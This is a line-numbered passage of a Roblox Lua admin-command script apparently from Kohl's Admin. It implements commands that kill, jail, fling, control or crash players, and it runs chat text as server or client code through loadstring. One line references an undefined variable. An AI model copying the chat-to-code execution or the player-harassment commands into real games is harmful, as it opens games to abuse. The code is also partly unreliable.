  430. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  431. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  432. local ost = {"pa plr","unpa plr","nuke plr"}
  433. local tost = {"oa plr","unoa plr","settings"}
  434. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  435. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  436. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  437. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  438. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  439. end
  440.  
  441. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  442.  
  443. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  444. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  445. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  446. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  447. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  448. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  449. end end
  450.  
  451. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  452. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  453. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  454. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  455. end
  456.  
  457. if msg:lower() == "tools" or msg:lower() == "toollist" then
  458. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  459. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  460. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  461. end
  462.  
  463. if msg:lower():sub(1,2) == "s " then
  464. coroutine.resume(coroutine.create(function()
  465. Output(msg:sub(3), plr)
  466. if script:findFirstChild("ScriptBase") then
  467. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  468. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  469. else loadstring(msg:sub(3))()
  470. end
  471. end))
  472. end
  473.  
  474. if msg:lower():sub(1,3) == "ls " then
  475. coroutine.resume(coroutine.create(function()
  476. if script:findFirstChild("LocalScriptBase") then
  477. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  478. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  479. end
  480. end))
  481. end
  482.  
  483. if msg:lower():sub(1,6) == "lsplr " then
  484. local chk1 = msg:lower():sub(7):find(" ") + 6
  485. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  486. for i, v in pairs(plrz) do
  487. coroutine.resume(coroutine.create(function()
  488. if v and v:findFirstChild("PlayerGui") then
  489. if script:findFirstChild("LocalScriptBase") then
  490. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  491. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  492. end
  493. end
  494. end))
  495. end
  496. end
  497.  
  498. if msg:lower():sub(1,4) == "ins " then
  499. coroutine.resume(coroutine.create(function()
  500. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  501. if obj and #obj:children() >= 1 and plr.Character then
  502. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  503. end
  504. end))
  505. end
  506.  
  507. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  508. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  509. RemoveMessage()
  510. objects = {}
  511. end
  512.  
  513. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  514. game.Lighting.Ambient = origsettings.abt
  515. game.Lighting.Brightness = origsettings.brt
  516. game.Lighting.TimeOfDay = origsettings.time
  517. game.Lighting.FogColor = origsettings.fclr
  518. game.Lighting.FogEnd = origsettings.fe
  519. game.Lighting.FogStart = origsettings.fs
  520. for i, v in pairs(lobjs) do v:Destroy() end
  521. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  522. end
  523.  
  524. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  525. coroutine.resume(coroutine.create(function()
  526. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  527. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  528. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  529. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  530. end))
  531. end
  532.  
  533. if msg:lower():sub(1,10) == "countdown " then
  534. local num = math.min(tonumber(msg:sub(11)),120)
  535. for i = num, 1, -1 do
  536. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  537. wait(1)
  538. end
  539. end
  540.  
  541. if msg:lower():sub(1,3) == "tm " then
  542. local chk1 = msg:lower():sub(4):find(" ") + 3
  543. local num = tonumber(msg:sub(4,chk1-1))
  544. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  545. end
  546.  
  547. if msg:lower():sub(1,2) == "m " then
  548. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  549. end
  550.  
  551. if msg:lower():sub(1,2) == "h " then
  552. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  553. end
  554.  
  555. if msg:lower():sub(1,3) == "pm " then
  556. local chk1 = msg:lower():sub(4):find(" ") + 3
  557. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  558. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  559. end
  560.  
  561. if msg:lower():sub(1,11) == "resetstats " then
  562. local plrz = GetPlr(plr, msg:lower():sub(12))
  563. for i, v in pairs(plrz) do
  564. coroutine.resume(coroutine.create(function()
  565. if v and v:findFirstChild("leaderstats") then
  566. for a, q in pairs(v.leaderstats:children()) do
  567. if q:IsA("IntValue") then q.Value = 0 end
  568. end
  569. end
  570. end))
  571. end
  572. end
  573.  
  574. if msg:lower():sub(1,5) == "gear " then
  575. local chk1 = msg:lower():sub(6):find(" ") + 5
  576. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  577. for i, v in pairs(plrz) do
  578. coroutine.resume(coroutine.create(function()
  579. if v and v:findFirstChild("Backpack") then
  580. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  581. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  582. obj:Destroy()
  583. end
  584. end))
  585. end
  586. end
  587.  
  588. if msg:lower():sub(1,4) == "hat " then
  589. local chk1 = msg:lower():sub(5):find(" ") + 4
  590. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  591. for i, v in pairs(plrz) do
  592. coroutine.resume(coroutine.create(function()
  593. if v and v.Character then
  594. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  595. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  596. obj:Destroy()
  597. end
  598. end))
  599. end
  600. end
  601.  
  602. if msg:lower():sub(1,5) == "cape " then
  603. local chk1 = msg:lower():sub(6):find(" ")
  604. local plrz = GetPlr(plr, msg:lower():sub(6))
  605. local str = "torso.BrickColor"
  606. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  607. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  608. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  609. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  610. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  611. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  612. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  613. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  614. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  615. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  616. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  617. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  618. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  619. if BrickColor.new(teststr) ~= nil then str = teststr end
  620. end
  621. for i, v in pairs(plrz) do
  622. coroutine.resume(coroutine.create(function()
  623. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  624. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  625. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  626. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  627. local torso = plr.Character.Torso
  628. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  629. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  630. p.Size = Vector3.new(.2,.2,.2)
  631. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  632. local motor1 = Instance.new("Motor", p)
  633. motor1.Part0 = p
  634. motor1.Part1 = torso
  635. motor1.MaxVelocity = .01
  636. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  637. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  638. local wave = false
  639. repeat wait(1/44)
  640. local ang = 0.1
  641. local oldmag = torso.Velocity.magnitude
  642. local mv = .002
  643. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  644. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  645. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  646. motor1.DesiredAngle = -ang
  647. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  648. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  649. if torso.Velocity.magnitude < .1 then wait(.1) end
  650. until not p or p.Parent ~= torso.Parent
  651. script:Destroy()
  652. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  653. end
  654. end))
  655. end
  656. end
  657.  
  658. if msg:lower():sub(1,7) == "uncape " then
  659. local plrz = GetPlr(plr, msg:lower():sub(8))
  660. for i, v in pairs(plrz) do
  661. coroutine.resume(coroutine.create(function()
  662. if v and v:findFirstChild("PlayerGui") and v.Character then
  663. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  664. end
  665. end))
  666. end
  667. end
  668.  
  669. if msg:lower():sub(1,7) == "noclip " then
  670. local plrz = GetPlr(plr, msg:lower():sub(8))
  671. for i, v in pairs(plrz) do
  672. coroutine.resume(coroutine.create(function()
  673. if v and v:findFirstChild("PlayerGui") then
  674. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  675. cl.Parent = v.PlayerGui cl.Disabled = false
  676. end
  677. end))
  678. end
  679. end
  680.  
  681. if msg:lower():sub(1,5) == "clip " then
  682. local plrz = GetPlr(plr, msg:lower():sub(6))
  683. for i, v in pairs(plrz) do
  684. coroutine.resume(coroutine.create(function()
  685. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  686. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  687. v.Character.Torso.Anchored = false
  688. wait(.1) v.Character.Humanoid.PlatformStand = false
  689. end
  690. end))
  691. end
  692. end
  693.  
  694. if msg:lower():sub(1,5) == "jail " then
  695. local plrz = GetPlr(plr, msg:lower():sub(6))
  696. for i, v in pairs(plrz) do
  697. coroutine.resume(coroutine.create(function()
  698. if v and v.Character and v.Character:findFirstChild("Torso") then
  699. local vname = v.Name
  700. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  701. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  702. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  703. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  704. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  705. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  706. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  707. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  708. end)
  709. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  710. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  711. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  712. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  713. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  714. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  715. local msh2 = msh:Clone() msh2.Parent = back
  716. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  717. local msh4 = msh3:Clone() msh4.Parent = left
  718. v.Character.Torso.CFrame = cf
  719. end
  720. end))
  721. end
  722. end
  723.  
  724. if msg:lower():sub(1,7) == "unjail " then
  725. local plrz = GetPlr(plr, msg:lower():sub(8))
  726. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  727. end
  728.  
  729. if msg:lower():sub(1,11) == "starttools " then
  730. local plrz = GetPlr(plr, msg:lower():sub(12))
  731. for i, v in pairs(plrz) do
  732. coroutine.resume(coroutine.create(function()
  733. if v and v:findFirstChild("Backpack") then
  734. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  735. end
  736. end))
  737. end
  738. end
  739.  
  740. if msg:lower():sub(1,6) == "sword " then
  741. local plrz = GetPlr(plr, msg:lower():sub(7))
  742. for i, v in pairs(plrz) do
  743. coroutine.resume(coroutine.create(function()
  744. if v and v:findFirstChild("Backpack") then
  745. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  746. sword.GripForward = Vector3.new(-1,0,0)
  747. sword.GripPos = Vector3.new(0,0,-1.5)
  748. sword.GripRight = Vector3.new(0,1,0)
  749. sword.GripUp = Vector3.new(0,0,1)
  750. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  751. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  752. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  753. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  754. local Damage = 15
  755. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  756. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  757. SlashSound.Volume = 1
  758. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  759. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  760. LungeSound.Volume = 1
  761. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  762. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  763. UnsheathSound.Volume = 1
  764. local last = 0
  765. script.Parent.Handle.Touched:connect(function(hit)
  766. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  767. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  768. hit.Parent.Humanoid:TakeDamage(Damage)
  769. end
  770. end)
  771. script.Parent.Activated:connect(function()
  772. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  773. script.Parent.Enabled = false
  774. local tick = game:service("RunService").Stepped:wait()
  775. if tick - last <= .2 then
  776. LungeSound:play()
  777. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  778. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  779. wait(.2)
  780. script.Parent.GripForward = Vector3.new(0,0,1)
  781. script.Parent.GripRight = Vector3.new(0,-1,0)
  782. script.Parent.GripUp = Vector3.new(-1,0,0)
  783. wait(.3)
  784. frc:Destroy() wait(.5)
  785. script.Parent.GripForward = Vector3.new(-1,0,0)
  786. script.Parent.GripRight = Vector3.new(0,1,0)
  787. script.Parent.GripUp = Vector3.new(0,0,1)
  788. else
  789. SlashSound:play()
  790. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  791. end
  792. last = tick
  793. script.Parent.Enabled = true
  794. end)
  795. script.Parent.Equipped:connect(function(mouse)
  796. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  797. UnsheathSound:play()
  798. script.Parent.Enabled = true
  799. if not mouse then return end
  800. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  801. end)]] cl.Disabled = false
  802. end
  803. end))
  804. end
  805. end
  806.  
  807. if msg:lower():sub(1,6) == "clone " then
  808. local plrz = GetPlr(plr, msg:lower():sub(7))
  809. for i, v in pairs(plrz) do
  810. coroutine.resume(coroutine.create(function()
  811. if v and v.Character then
  812. v.Character.Archivable = true
  813. local cl = v.Character:Clone()
  814. table.insert(objects,cl)
  815. cl.Parent = game.Workspace
  816. cl:MoveTo(v.Character:GetModelCFrame().p)
  817. cl:MakeJoints()
  818. v.Character.Archivable = false
  819. end
  820. end))
  821. end
  822. end
  823.  
  824. if msg:lower():sub(1,8) == "control " then
  825. local plrz = GetPlr(plr, msg:lower():sub(9))
  826. for i, v in pairs(plrz) do
  827. coroutine.resume(coroutine.create(function()
  828. if v and v.Character then
  829. v.Character.Humanoid.PlatformStand = true
  830. local w = Instance.new("Weld", plr.Character.Torso )
  831. w.Part0 = plr.Character.Torso
  832. w.Part1 = v.Character.Torso
  833. local w2 = Instance.new("Weld", plr.Character.Head)
  834. w2.Part0 = plr.Character.Head
  835. w2.Part1 = v.Character.Head
  836. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  837. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  838. w3.Part1 = v.Character:findFirstChild("Right Arm")
  839. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  840. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  841. w4.Part1 = v.Character:findFirstChild("Left Arm")
  842. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  843. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  844. w5.Part1 = v.Character:findFirstChild("Right Leg")
  845. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  846. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  847. w6.Part1 = v.Character:findFirstChild("Left Leg")
  848. plr.Character.Head.face:Destroy()
  849. for i, p in pairs(v.Character:children()) do
  850. if p:IsA("BasePart") then
  851. p.CanCollide = false
  852. end
  853. end
  854. for i, p in pairs(plr.Character:children()) do
  855. if p:IsA("BasePart") then
  856. p.Transparency = 1
  857. elseif p:IsA("Hat") then
  858. p:Destroy()
  859. end
  860. end
  861. v.Character.Parent = plr.Character
  862. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  863. end
  864. end))
  865. end
  866. end
  867.  
  868. if msg:lower():sub(1,5) == "kill " then
  869. local plrz = GetPlr(plr, msg:lower():sub(6))
  870. for i, v in pairs(plrz) do
  871. coroutine.resume(coroutine.create(function()
  872. if v and v.Character then v.Character:BreakJoints() end
  873. end))
  874. end
  875. end
  876.  
  877. if msg:lower():sub(1,8) == "respawn " then
  878. local plrz = GetPlr(plr, msg:lower():sub(9))
  879. for i, v in pairs(plrz) do
  880. coroutine.resume(coroutine.create(function()
  881. if v and v.Character then v:LoadCharacter() end
  882. end))
  883. end
  884. end
  885.  
  886. if msg:lower():sub(1,5) == "trip " then
  887. local plrz = GetPlr(plr, msg:lower():sub(6))
  888. for i, v in pairs(plrz) do
  889. coroutine.resume(coroutine.create(function()
  890. if v and v.Character and v.Character:findFirstChild("Torso") then
  891. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  892. end
  893. end))
  894. end
  895. end
  896.  
  897. if msg:lower():sub(1,5) == "stun " then
  898. local plrz = GetPlr(plr, msg:lower():sub(6))
  899. for i, v in pairs(plrz) do
  900. coroutine.resume(coroutine.create(function()
  901. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  902. v.Character.Humanoid.PlatformStand = true
  903. end
  904. end))
  905. end
  906. end
  907.  
  908. if msg:lower():sub(1,7) == "unstun " then
  909. local plrz = GetPlr(plr, msg:lower():sub(8))
  910. for i, v in pairs(plrz) do
  911. coroutine.resume(coroutine.create(function()
  912. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  913. v.Character.Humanoid.PlatformStand = false
  914. end
  915. end))
  916. end
  917. end
  918.  
  919. if msg:lower():sub(1,5) == "jump " then
  920. local plrz = GetPlr(plr, msg:lower():sub(6))
  921. for i, v in pairs(plrz) do
  922. coroutine.resume(coroutine.create(function()
  923. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  924. v.Character.Humanoid.Jump = true
  925. end
  926. end))
  927. end
  928. end
  929.  
  930. if msg:lower():sub(1,4) == "sit " then
  931. local plrz = GetPlr(plr, msg:lower():sub(5))
  932. for i, v in pairs(plrz) do
  933. coroutine.resume(coroutine.create(function()
  934. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  935. v.Character.Humanoid.Sit = true
  936. end
  937. end))
  938. end
  939. end
  940.  
  941. if msg:lower():sub(1,10) == "invisible " then
  942. local plrz = GetPlr(plr, msg:lower():sub(11))
  943. for i, v in pairs(plrz) do
  944. coroutine.resume(coroutine.create(function()
  945. if v and v.Character then
  946. for a, obj in pairs(v.Character:children()) do
  947. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  948. end
  949. end
  950. end))
  951. end
  952. end
  953.  
  954. if msg:lower():sub(1,8) == "visible " then
  955. local plrz = GetPlr(plr, msg:lower():sub(9))
  956. for i, v in pairs(plrz) do
  957. coroutine.resume(coroutine.create(function()
  958. if v and v.Character then
